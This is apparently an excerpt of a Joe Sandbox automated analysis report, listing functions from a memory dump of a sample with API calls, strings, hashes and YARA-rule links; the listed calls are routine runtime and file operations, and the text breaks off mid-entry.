Opcode Fuzzy Hash: 2aa5cf25ca6ba64452b12fe2a42158086f9b5e75b333a47c55d6e169841720e1
Instruction Fuzzy Hash: 215151B2D00348DBEF10DFE4D94579EBBB8AF95314F148529E808A7281E775E918CB92

Function 0096F0B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0096F122
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0096F18D
std::_Lockit::~_Lockit.LIBCPMT ref: 0096F222

Strings

bad locale name, xrefs: 0096F23E

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: std::_$Lockit$Locinfo::_Locinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 3553999535-1405518554
Opcode ID: 54c294a5d72e3efd545fae61cc0b2dbb26f126c987381283fff2ff1ff3818b34
Instruction ID: 77ce8a2d294d2466cf1dd1813efca6887f7240fd31a841cb0efe669838d759f0
Opcode Fuzzy Hash: 54c294a5d72e3efd545fae61cc0b2dbb26f126c987381283fff2ff1ff3818b34
Instruction Fuzzy Hash: A5417EB2D04248DBEF10DFA8E955BDEBBB8BF55354F144029E808A7381E779D904CBA1

Function 0096A370 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0096A40F

Part of subcall function 00972C70: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,?,009A0094,?,0097061C,?,0099C07C,?), ref: 00972CD1

Strings

ios_base::eofbit set, xrefs: 0096A3B6
ios_base::failbit set, xrefs: 0096A2A8, 0096A3B1
ios_base::badbit set, xrefs: 0096A3A7, 0096A3D2, 0096A3F3

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3109751735-1866435925
Opcode ID: fc8210ed8ed4cb749b32d7c2dfdeafb834ad426702c57e98c794ba223e4b9260
Instruction ID: 19c4f778afbbe0420d2ef6df1c0705bb023b81b572b144c44c55565884ad9923
Opcode Fuzzy Hash: fc8210ed8ed4cb749b32d7c2dfdeafb834ad426702c57e98c794ba223e4b9260
Instruction Fuzzy Hash: 1C11A2B29107046BCB20DF5DD802F96F3DCAF55310F14856AFA58D7281F771A914CB92

Function 00975BE7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00975B98,00000000,?,0099F8F8,?,?,?,00975D3B,00000004,InitializeCriticalSectionEx,00993E08,InitializeCriticalSectionEx), ref: 00975BF4
GetLastError.KERNEL32(?,00975B98,00000000,?,0099F8F8,?,?,?,00975D3B,00000004,InitializeCriticalSectionEx,00993E08,InitializeCriticalSectionEx,00000000,?,00975982), ref: 00975BFE
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00975C26

Strings

api-ms-, xrefs: 00975C0B

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 5a43288dd2864c53771cdc14013f4c6d92ee6f0da993cc591239389e7116d54f
Instruction ID: 4f3720e9de28711c88f20f2c7b71d1a1a88bfb059d99a0109b2b45b1a1cc2260
Opcode Fuzzy Hash: 5a43288dd2864c53771cdc14013f4c6d92ee6f0da993cc591239389e7116d54f
Instruction Fuzzy Hash: 81E01A32298308BAEE611F65ED06B693A69AB01B50F188425FA4CF80E1E7A199609585

Function 009815CC Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(C57AAC56,00000000,00000000,00000000), ref: 0098162F

Part of subcall function 00982FA1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00984A6E,?,00000000,-00000008), ref: 00983002

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00981881
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 009818C7
GetLastError.KERNEL32 ref: 0098196A

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 3850f4c521265b9ca3a402e14fd750d47cac64f8130a0d3b56b1f5629a9a472d
Instruction ID: 8b427bc6ea703db9633ad396e2af62c90fde3dcb76306b338efae7120c507d01
Opcode Fuzzy Hash: 3850f4c521265b9ca3a402e14fd750d47cac64f8130a0d3b56b1f5629a9a472d
Instruction Fuzzy Hash: EFD19B75D042489FCF15DFA8D890AADBBF9FF49310F28852AE856EB351D730A942CB50

Function 00974BAC Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00974C73
___AdjustPointer.LIBCMT ref: 00974C96
___AdjustPointer.LIBCMT ref: 00974D32

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 09200c7095a753302b4db4fc38c74d78aaa3f04c4e34bf182fda1eb1c407ae12
Instruction ID: 69efd3effb544f11b918d1c271da0a4decd30144f5cdb86fb486c63b5890c3dd
Opcode Fuzzy Hash: 09200c7095a753302b4db4fc38c74d78aaa3f04c4e34bf182fda1eb1c407ae12
Instruction Fuzzy Hash: 0A51C3776066169FDB268F54D841BEA77A8FF40710F18C52DEC895B2A2E731EC90CB90

Function 0096FB4A Relevance: 6.2, APIs: 4, Instructions: 161fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0096F982: CopyFileW.KERNEL32(?,?,00000000,?,?,?,0096FC76,?,?,00000000,?,?), ref: 0096F992

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000000,00000000,?,?,00000001,?,?), ref: 0096FBB6
GetLastError.KERNEL32(?,?,?,?,?,?,00966381,?,?,00000002,?,?,?,?,00000003,000000FF), ref: 0096FBC3
CreateFileW.KERNEL32(?,00000080,?,00000000,00000003,00000000,00000000,?,?,?,?,?,?,00966381,?), ref: 0096FBEC
GetLastError.KERNEL32(?,?,?,?,?,?,00966381,?,?,00000002,?,?,?,?,00000003,000000FF), ref: 0096FBF9

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: File$CreateErrorLast$Copy
String ID:
API String ID: 1426432123-0
Opcode ID: f9188f992477f7675256798e5290cb63860dd4e28cb459c1906b097099913dde
Instruction ID: 418c633b1fd3695f02851c7df38648919055f7f49b6f9deefd9989806225c54b
Opcode Fuzzy Hash: f9188f992477f7675256798e5290cb63860dd4e28cb459c1906b097099913dde
Instruction Fuzzy Hash: 3A41AF71A00208ABDB14EFA8ECE1ABE77BCEF59310F104439FD51E7241DB689D059B60

Function 00978133 Relevance: 6.1, APIs: 4, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d20f66f79b2a9ff828b3180497b90c42d5321505ebcebd102a5fd384be623100
Instruction ID: 906eaa8770960beffe759eaf09283e5c6db7b77856be969dc0b84f71528bd5ea
Opcode Fuzzy Hash: d20f66f79b2a9ff828b3180497b90c42d5321505ebcebd102a5fd384be623100
Instruction Fuzzy Hash: 6D41DB73A44714BFEB249F7CCC49B9BBBA9EBC8710F10C529F129DB281D67599418780

Function 00961BC0 Relevance: 6.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

Part of subcall function 009703F2: QueryPerformanceFrequency.KERNEL32(?,00000000,?,?,?,00961BD3), ref: 0097040D

Part of subcall function 009703DB: QueryPerformanceCounter.KERNEL32(?,?,?,?,00961BDE), ref: 009703E4

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00961C1C
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00961C4F
__alldvrm.LIBCMT ref: 00961C66
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00961C8B

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$PerformanceQuery$CounterFrequency__alldvrm
String ID:
API String ID: 2057067329-0
Opcode ID: c78437fa0ce0c348357f84109700b184bb5eee433aaf31cddfa542c1e609bf83
Instruction ID: 42cd50926a21e2fd114860fd61acc2e4d8c71f7380f4d32c1b9e98f859b74f6f
Opcode Fuzzy Hash: c78437fa0ce0c348357f84109700b184bb5eee433aaf31cddfa542c1e609bf83
Instruction Fuzzy Hash: D52165B2A402147EEB14AB694C86F7FBBBCEFC4791F1481A9FA09F7241E5746D008664

Function 00986BC0 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00982FA1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00984A6E,?,00000000,-00000008), ref: 00983002

GetLastError.KERNEL32 ref: 00986C24
__dosmaperr.LIBCMT ref: 00986C2B
GetLastError.KERNEL32(?,?,?,?), ref: 00986C65
__dosmaperr.LIBCMT ref: 00986C6C

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 9bc412a966950e0f888063ee66235f5c29852162ff4b77be87b46188e88c812d
Instruction ID: 3e44b0cac5df86729c7d83231e62a885e3cf1a09f813760ca85aa9390b48cf62
Opcode Fuzzy Hash: 9bc412a966950e0f888063ee66235f5c29852162ff4b77be87b46188e88c812d
Instruction Fuzzy Hash: 7D21C572604615AF9B20BF668C8596BB7ADEF44364710C919FAD9DB310EB34EC409B90

Function 00978A98 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df339c9fc1e773585ba988d19f9c93884a5f87be48982874d9345628c8879bbc
Instruction ID: 1e2f60ec8d9a53ad3fae367660d117fc3e2fc63e6330c11efcda167c4a29c207
Opcode Fuzzy Hash: df339c9fc1e773585ba988d19f9c93884a5f87be48982874d9345628c8879bbc
Instruction Fuzzy Hash: 082188B3640215AFDB20AF618C89E6B77ADEF84364710C915F91DD7260EB30EC40C7A0

Function 00987B61 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00987B69

Part of subcall function 00982FA1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00984A6E,?,00000000,-00000008), ref: 00983002

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00987BA1
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00987BC1

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 9ed0390ffb880e95859c914956ea05794b09f2398a22d1df2aab2f553ad1d632
Instruction ID: 9f1edba5b8d1807756d3a72ba9d6ee90c8efe8d3b944b5d065bc51a83952562d
Opcode Fuzzy Hash: 9ed0390ffb880e95859c914956ea05794b09f2398a22d1df2aab2f553ad1d632
Instruction Fuzzy Hash: F611C0B291E61A7E66113BB55C8ADBFA96DDEC43A93200825F90692301FE24CE05D3B1

Function 0096F851 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

GetFileInformationByHandleEx.KERNEL32(?,00000012,?,00000018,?,00000000,?,?,?,009660E8,?,?,?,?,00000003,000000FF), ref: 0096F86F
GetLastError.KERNEL32(?,009660E8,?,?,?,?,00000003,000000FF,C57AAC56), ref: 0096F87D
GetFileInformationByHandle.KERNEL32(?,?,?,009660E8,?,?,?,?,00000003,000000FF,C57AAC56), ref: 0096F892
GetLastError.KERNEL32(?,009660E8,?,?,?,?,00000003,000000FF,C57AAC56), ref: 0096F8BA

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: ErrorFileHandleInformationLast
String ID:
API String ID: 275135790-0
Opcode ID: 959a1d9a911edd642253c9fa520b8abed39f4e666599b5712b762b2d4f4e0749
Instruction ID: fb2557d43ce36b583cbedb446be586379c4d18c804219e9e6cbe81b343488037
Opcode Fuzzy Hash: 959a1d9a911edd642253c9fa520b8abed39f4e666599b5712b762b2d4f4e0749
Instruction Fuzzy Hash: 77018C71A04604EFC724DF69E8559AEBBF8FF89750B00C86AE84BD3250E730E945DB60

Function 0096FADB Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,00000400,C57AAC56,00000000,00000000,00000000,00000000,00000000,?,?,?,009642BC,?,?,00000000,00000000), ref: 0096FAF8
GetLastError.KERNEL32(?,?,009642BC,?,?,00000000,00000000,00000000,C57AAC56,?), ref: 0096FB04
WideCharToMultiByte.KERNEL32(?,00000000,C57AAC56,00000000,00000000,00000000,00000000,00000000,?,?,009642BC,?,?,00000000,00000000,00000000), ref: 0096FB2A
GetLastError.KERNEL32(?,?,009642BC,?,?,00000000,00000000,00000000,C57AAC56,?), ref: 0096FB36

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: 01e73bfd7892e507485970a09308c5f7f4c6e6c28f85f6cbf0c3f17254835f55
Instruction ID: 2d7e78c4d65a5a5c2419977f04cdb1ee5c7b8fbf013847bc333482618b056bc7
Opcode Fuzzy Hash: 01e73bfd7892e507485970a09308c5f7f4c6e6c28f85f6cbf0c3f17254835f55
Instruction Fuzzy Hash: D5013632604155BBCF220F65EC18C9F7E2AEBD97E0B108425FE0595124C631C871F7E0

Function 0096F91E Relevance: 6.0, APIs: 4, Instructions: 37COMMON

Download Yara Rule

APIs

SetFileInformationByHandle.KERNEL32(00000003,00000015,?,00000004,-00000001,-00000001,?,00970288), ref: 0096F935
GetLastError.KERNEL32(?,00970288), ref: 0096F93F
SetFileInformationByHandle.KERNEL32(00000003,00000004,?,00000001,?,00970288), ref: 0096F96A
GetLastError.KERNEL32(?,00970288), ref: 0096F974

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: ErrorFileHandleInformationLast
String ID:
API String ID: 275135790-0
Opcode ID: 4a1c5d13f237075e2f38ab0241e4fa2b3ad33536c78a1652fcaf4c01ca36fa5e
Instruction ID: 203e334560bba36f2a8309988bcb7e76ec7ef2f7eff7fe686e9d11b6766c6ada
Opcode Fuzzy Hash: 4a1c5d13f237075e2f38ab0241e4fa2b3ad33536c78a1652fcaf4c01ca36fa5e
Instruction Fuzzy Hash: AAF09670154304BAEB246F78EC6DBB97E7CD705344F000134F602D01B0E3759B84D590

Function 0098EDB9 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,0098C88F,00000000,00000001,0000000C,00000000,?,009819BE,00000000,00000000,00000000), ref: 0098EDD0
GetLastError.KERNEL32(?,0098C88F,00000000,00000001,0000000C,00000000,?,009819BE,00000000,00000000,00000000,00000000,00000000,?,00981F98,?), ref: 0098EDDC

Part of subcall function 0098EDA2: CloseHandle.KERNEL32(FFFFFFFE,0098EDEC,?,0098C88F,00000000,00000001,0000000C,00000000,?,009819BE,00000000,00000000,00000000,00000000,00000000), ref: 0098EDB2

___initconout.LIBCMT ref: 0098EDEC

Part of subcall function 0098ED64: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0098ED93,0098C87C,00000000,?,009819BE,00000000,00000000,00000000,00000000), ref: 0098ED77

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,0098C88F,00000000,00000001,0000000C,00000000,?,009819BE,00000000,00000000,00000000,00000000), ref: 0098EE01

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 727af675e4dba7c61f8d5cdfdba412a713670121e4c3c450d21f90dd1f050ba5
Instruction ID: c6622d94fe0b393067f3832536fab26d7bbf5dc1d6cfc8ae17a203dcb8178648
Opcode Fuzzy Hash: 727af675e4dba7c61f8d5cdfdba412a713670121e4c3c450d21f90dd1f050ba5
Instruction Fuzzy Hash: 2CF03036014118FBCF222F9AEC18E9D3F6AFB487A0B044511FA0985231D732CC20EBD0

Function 009724C5 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 009724D7
GetCurrentThreadId.KERNEL32 ref: 009724E6
GetCurrentProcessId.KERNEL32 ref: 009724EF
QueryPerformanceCounter.KERNEL32(?), ref: 009724FC

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 3af77d86494d610956a6e7ba1c6a1c62c267a536da55091173efd5284de4ab01
Instruction ID: a9259d6871599b1c1e017673407b203dd796258abbe2d97ff789413bd3b8ff3c
Opcode Fuzzy Hash: 3af77d86494d610956a6e7ba1c6a1c62c267a536da55091173efd5284de4ab01
Instruction Fuzzy Hash: 87F06274D1520DEBCB00DBB8D94999EBBF4FF1D204BA145A6A512E7110E730AB54DB50

Function 0096F80B Relevance: 6.0, APIs: 4, Instructions: 24COMMON

Download Yara Rule

APIs

CreateSymbolicLinkW.KERNEL32(00000000,?,?,?,0096FD62,00000000,?,00000000,?,00965E34,?,00000007,00000000,00000007,?,00000000), ref: 0096F81B
GetLastError.KERNEL32(?,0096FD62,00000000,?,00000000,?,00965E34,?,00000007,00000000,00000007,?,00000000,?,?,?), ref: 0096F825
CreateSymbolicLinkW.KERNEL32(00000000,?,?,?,0096FD62,00000000,?,00000000,?,00965E34,?,00000007,00000000,00000007,?,00000000), ref: 0096F839
GetLastError.KERNEL32(?,0096FD62,00000000,?,00000000,?,00965E34,?,00000007,00000000,00000007,?,00000000,?,?,?), ref: 0096F843

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: CreateErrorLastLinkSymbolic
String ID:
API String ID: 191780330-0
Opcode ID: ad7d1a1a4e4f8236e273fe9d555efcef8c36a11500cf21fb42c07c436c360b39
Instruction ID: f89d2bf374f908eae9f03bba0cfac505a3893c243e7e7a1097105543d7f1ac0d
Opcode Fuzzy Hash: ad7d1a1a4e4f8236e273fe9d555efcef8c36a11500cf21fb42c07c436c360b39
Instruction Fuzzy Hash: B8E01A31028108FB9F115FA4EC0ADAD3BAAFF14750B00C861F91A93031C7328860EBA0

Function 009625D0 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 416COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00962A6E

Strings

", ", xrefs: 00962824, 0096283E
: ", xrefs: 009627BB, 009627D4

Memory Dump Source

